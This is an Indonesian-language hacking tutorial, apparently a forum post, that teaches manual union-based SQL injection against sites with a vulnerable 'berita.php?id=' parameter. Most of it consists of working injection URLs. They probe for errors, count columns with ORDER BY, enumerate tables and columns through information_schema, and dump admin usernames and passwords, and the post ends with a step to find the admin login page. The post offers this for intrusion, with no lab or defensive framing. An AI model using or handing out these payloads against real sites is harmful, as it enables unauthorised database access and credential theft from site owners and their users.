cara sql manual

nich gue ada sdikit tutor buat sqli?...

Step 1.

carilah target
misal:

[site]/berita.php?id=100



Tambahkan karakter ' pada akhir url atau menambahkan karakter "-" untuk melihat apakah ada pesan error.

contoh :

[site]/berita.php?id=100' atau
[site]/berita.php?id=-100



sehingga muncul pesan error atau hilang pesan error.

Step 2.

mencari dan menghitung jumlah table yang ada dalam databasenya...
menggunakan perintah : +order+by+

contoh :

[site]/berita.php?id=-100+order+by+1-- atau
[site]/berita.php?id=-100+order+by+1/*



ceklah secara step by step (1/1)...

contoh :

[site]/berita.php?id=-100+order+by+1--
[site]/berita.php?id=-100+order+by+2--
[site]/berita.php?id=-100+order+by+3--
[site]/berita.php?id=-100+order+by+4--



sehingga muncul error atau hilang pesan error...

misal:

[site]/berita.php?id=-100+order+by+9--



berarti yang kita ambil adalah sampai angka 8

menjadi :

[site]/berita.php?id=-100+order+by+8--



Step 3.

untuk mengeluarkan angka berapa yang muncul gunakan perintah union
karena tadi error sampai angka 9

maka :

[site]/berita.php?id=-100+union+select+1,2,3,4,5,6,7,8--



seumpama yang keluar pada tampilan web target adalah angka 5.

gunakan perintah version() atau @@version untuk mengecek versi sql yg dipakai masukan perintah tersebut pada angka yang keluar tadi.

contoh :

[site]/berita.php?id=-100+union+select+1,2,3,4,version(),6,7,8-- atau
[site]/berita.php?id=-100+union+select+1,2,3,4,@@version,6,7,8--



lihat versi yg digunakan seumpama versi 4 tinggalkan saja karena dalam ver 4 ini kita harus menebak sendiri table n column yg ada pada web tersebut karena tidak bisa menggunakan perintah From+Information_schema..

untuk versi 5 berarti anda beruntung tak perlu menebak table n column seperti ver 4 karena di ver 5 ini bisa menggunakan perintah From+Information_schema..


Step 4.

untuk menampilkan semua isi dari table tsb adalah
perintah group_concat(table_name) >>> dimasukan pada angka yg keluar tadi
perintah +from+information_schema.tables+where+table_schema=database() >>> dimasukan setelah angka terakhir

contoh :

[site]/berita.php?id=-100+union+select+1,2,3,4,group_concat(table_name),6,7,8+from+information_schema.tables+where+table_schema=database()--



Step 5.

perintah group_concat(column_name) >>> dimasukan pada angka yg keluar tadi
perintah +from+information_schema.columns+where+table_name=0xhexa-- >>> dimasukan setelah angka terakhir

contoh :


[site]/berita.php?id=-100+union+select+1,2,3,4,group_concat(column_name),6,7,8+from+information_schema.columns+where+table_name=0xhexa--



pada tahap ini kamu wajib meng-extract kata pada isi table menjadi hexadecimal yaitu dengan cara mengkonversinya.
tools yang digunakan untuk konversi : download DISINI

misalnya kata yg ingin di konversi yaitu "admin" maka akan menjadi 61646D696E.

contoh :

[site]/berita.php?id=-100+union+select+1,2,3,4,group_concat(column_name),6,7,8+from+information_schema.columns+where+table_name=0x61646D696E--



Step 6.

memunculkan apa yg tadi telah dikeluarkan dari table yaitu dengan cara

perintah concat_ws(0x3a,hasil isi column yg mau dikeluarkan) >>> dimasukan pada angka yg keluar tadi
perintah +from+(nama table berasal) >>> dimasukan setelah angka terakhir

contoh :

[site]/berita.php?id=-100+union+select+1,2,3,4,concat_ws(0x3a,hasil isi column),6,7,8+from+(nama table berasal)--



contoh kata yang keluar adalah id,username,password

maka :


[site]/berita.php?id=-100+union+select+1,2,3,4,concat_ws(0x3a,id,username,password),6,7,8+from+admin--



Step 7.

tahap terakhir adalah mencari halaman login admin.



SEMOGA BERMANFAAT BAGI TEMAN2 SEMUA...